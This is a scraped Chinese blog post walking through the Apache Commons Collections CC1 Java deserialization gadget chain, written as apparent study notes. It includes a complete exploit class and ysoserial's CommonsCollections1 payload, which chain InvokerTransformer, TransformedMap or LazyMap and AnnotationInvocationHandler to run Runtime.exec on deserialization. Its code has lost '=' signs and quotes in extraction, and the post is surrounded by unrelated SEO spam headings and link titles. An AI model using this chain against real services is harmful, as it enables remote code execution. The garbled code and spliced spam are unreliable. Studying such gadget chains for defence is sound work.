当前位置: 首页 > news >正文

网站建设教育板块宁津哪个网络公司做网站比较好

网站建设教育板块,宁津哪个网络公司做网站比较好,十堰秦楚网论坛十堰城事,网站一年多少钱?前言 好几天没发博文了#xff0c;偷偷憋了个大的——CC1链分析#xff0c;手撸了一遍代码。虽然说#xff0c;这个链很老了#xff0c;但还是花费了我一段时间去消化吸收#xff0c;那么接下来#xff0c;我会简洁的介绍下整个链的利用过程#xff0c;还有哪些不理解的…前言 好几天没发博文了偷偷憋了个大的——CC1链分析手撸了一遍代码。虽然说这个链很老了但还是花费了我一段时间去消化吸收那么接下来我会简洁的介绍下整个链的利用过程还有哪些不理解的地方xdm可以评论区一起讨论学习一下。 环境准备 Apache Commons Collections是Java中应用广泛的一个库包括Weblogic、JBoss、WebSphere、Jenkins等知名大型Java应用都使用了这个库。 CommonsCollections版本3.2.1 https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1 其次sun公司代码为反编译后的class不能进行调试分析 Java8u65对应的源码https://hg.openjdk.org/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip jdk-af660750b2f4\src\share\classes\sun 把Java环境中的src.zip解压为jdk1.8.0_65\src放入sun文件夹 至此环境搭建好了开始调试分析。 CommonsCollections–CC1链分析 先贴一下完整的代码 import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map;public class CommonsCollections1 {public static void main(String[] args) throws Exception {Transformer[] transformers new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime,null}),new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc})};ChainedTransformer chainedTransformer new ChainedTransformer(transformers);HashMapObject,Object map new HashMap();map.put(value, value);MapObject,Object transformedMap TransformedMap.decorate(map, null, chainedTransformer);Class c Class.forName(sun.reflect.annotation.AnnotationInvocationHandler);Constructor annotationInvocationhdlConstructor c.getDeclaredConstructor(Class.class, Map.class);annotationInvocationhdlConstructor.setAccessible(true);Object object annotationInvocationhdlConstructor.newInstance(Target.class, transformedMap);serialize(object);unserialize(ser.bin);}public static void serialize(Object obj) throws IOException{ObjectOutputStream oos new ObjectOutputStream(new FileOutputStream(ser.bin));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ObjectInputStream ois new ObjectInputStream(new FileInputStream(Filename));Object obj ois.readObject();return obj;} } 先讲一下漏洞利用点 InvokerTransformer.transform方法对传入的参数对象进行了反射调用即能够调用任意对象执行任意方法进而导致命令执行Runtime.getRuntime().exec(calc);。 按照源码的逻辑写一下简短的POC Runtime runtime Runtime.getRuntime(); Class runtimeClass runtime.getClass(); Method execMethod runtimeClass.getMethod(exec, String.class); execMethod.invoke(runtime, calc);即在InvokerTransformer构造方法中传入对应的参数就可命令执行 Runtime没有继承Serializable类无法进行序列化但是Class类继承了Serializable类那么将Runtime进行反射调用即可 Transformer[] transformers new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime,null}),new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc})}; ChainedTransformer chainedTransformer new ChainedTransformer(transformers); chainedTransformer.transform(Runtime.class);其中有很多细节ChainedTransformer类的transform方法能够批量执行数组的transform即调用数组中每一个对象的transform。 对于new ConstantTransformer(Runtime.class)则可以说是精髓因为后文中的值不能被直接利用而ConstantTransformer传入的参数为常量不可被改变即被调用的是我们传入的想要的值。 再想先讲一下漏洞触发点反序列化漏洞最主要的还是要readObject()函数那么通过漏洞利用点一步步逆推则找到了AnnotationInvocationHandler.readObject()。 InvokerTransformer.transform() TransformedMap.checkSetValue() AbstractInputCheckedMapDecorator.MapEntry.setValue() AnnotationInvocationHandler.readObject() 简单写一下漏洞POC Transformer[] transformers new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime,null}),new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc})}; ChainedTransformer chainedTransformer new ChainedTransformer(transformers);HashMapObject,Object map new HashMap(); map.put(value, value); MapObject,Object transformedMap TransformedMap.decorate(map, null, chainedTransformer);Class c Class.forName(sun.reflect.annotation.AnnotationInvocationHandler); Constructor annotationInvocationhdlConstructor c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationhdlConstructor.setAccessible(true); Object object annotationInvocationhdlConstructor.newInstance(Target.class, transformedMap);这里MapObject,Object transformedMap TransformedMap.decorate(map, null, chainedTransformer); TransformedMap继承了AbstractInputCheckedMapDecorator而AbstractInputCheckedMapDecorator的父类AbstractMapDecorator实现了Map接口AbstractInputCheckedMapDecorator重写了entrySet方法 且map.put(value, value);的key要和annotationInvocationhdlConstructor.newInstance(Target.class, transformedMap);的Target.class方法一致不然if判断不过关无法继续往下执行。 本文和ysoserial的CC1链略有差别ysoserial的CC1链调用了LazyMap.get()整个方法https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java感兴趣的xdm也能再看下ysoserial的CC1链。 import java.lang.reflect.InvocationHandler; import java.util.HashMap; import java.util.Map;import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.JavaVersion; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections;/*Gadget chain:ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()Map(Proxy).entrySet()AnnotationInvocationHandler.invoke()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()Requires:commons-collections*/ SuppressWarnings({rawtypes, unchecked}) PayloadTest ( precondition isApplicableJavaVersion) Dependencies({commons-collections:commons-collections:3.1}) Authors({ Authors.FROHOFF }) public class CommonsCollections1 extends PayloadRunner implements ObjectPayloadInvocationHandler {public InvocationHandler getObject(final String command) throws Exception {final String[] execArgs new String[] { command };// inert chain for setupfinal Transformer transformerChain new ChainedTransformer(new Transformer[]{ new ConstantTransformer(1) });// real chain for after setupfinal Transformer[] transformers new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer(getMethod, new Class[] {String.class, Class[].class }, new Object[] {getRuntime, new Class[0] }),new InvokerTransformer(invoke, new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer(exec,new Class[] { String.class }, execArgs),new ConstantTransformer(1) };final Map innerMap new HashMap();final Map lazyMap LazyMap.decorate(innerMap, transformerChain);final Map mapProxy Gadgets.createMemoitizedProxy(lazyMap, Map.class);final InvocationHandler handler Gadgets.createMemoizedInvocationHandler(mapProxy);Reflections.setFieldValue(transformerChain, iTransformers, transformers); // arm with actual transformer chainreturn handler;}public static void main(final String[] args) throws Exception {PayloadRunner.run(CommonsCollections1.class, args);}public static boolean isApplicableJavaVersion() {return JavaVersion.isAnnInvHUniversalMethodImpl();} }暂时就先写这些文笔不太好有些地方讲的不太清楚可以看下bilibili的百日梦组长的讲解放到了参考链接下面也可以在评论区讨论一下一起学习。 参考链接 Java反序列化CommonsCollections篇(一) CC1链手写EXP
http://www.pierceye.com/news/576627/

相关文章:

  • 做网站首先要干什么营销软文200字
  • 帝国cms做的网站私人定制女装店
  • 网站建设南沙wordpress video
  • 网站建设开票应该开哪个行业什么网站可以免费做视频的软件
  • 百度seo查询收录查询网站推广策划案seo教程
  • 如何免费建立网站中贤建设集团网站
  • 如何做转运网站黄聪 wordpress
  • 临海市住房与城乡建设规划局网站宁波网络推广培训
  • go 网站开发自己在线制作logo
  • 重庆市网站建设公司企业服务账号
  • 网站建设的市场情况网站系统里不能打印
  • 网站如何适应屏幕做网站时无法上传图片
  • 网站的橱窗怎么做嘉兴住房和城乡建设厅网站
  • 吉林省城乡建设官方网站163企业邮箱登录入口官网
  • 做网站参考文献某企业网站建设方案2000字
  • 网站托管哪家好织梦购物网站整站源码
  • 怎么做网站的优化排名wordpress的目录结构(一)
  • 个人可以做公益网站吗美食杰网站的建设目的
  • 宿迁公司企业网站建设《网站基础建设-首保》
  • 做全屏式网站尺寸是多大国外虚拟主机 两个网站
  • 黑龙江建设网站招聘广西住房和城乡建设厅培训中心官方网站
  • 做网站客户最关心的是什么制作网页原型的目的
  • 电子商务网站建设工具河南安阳吧
  • 南通网站建设公司哪个好肯德基的网站建设
  • 高端大气网站源码wordpress做双语网站
  • 360网站推广东莞凤岗
  • 公司网站高端网站建设赣州做网站多少钱
  • dw做网站怎么发布建设银行官方网站登录入口
  • 怎样查看网站建设时间免费外贸自建网站
  • 网站备案注销原因网站建设入账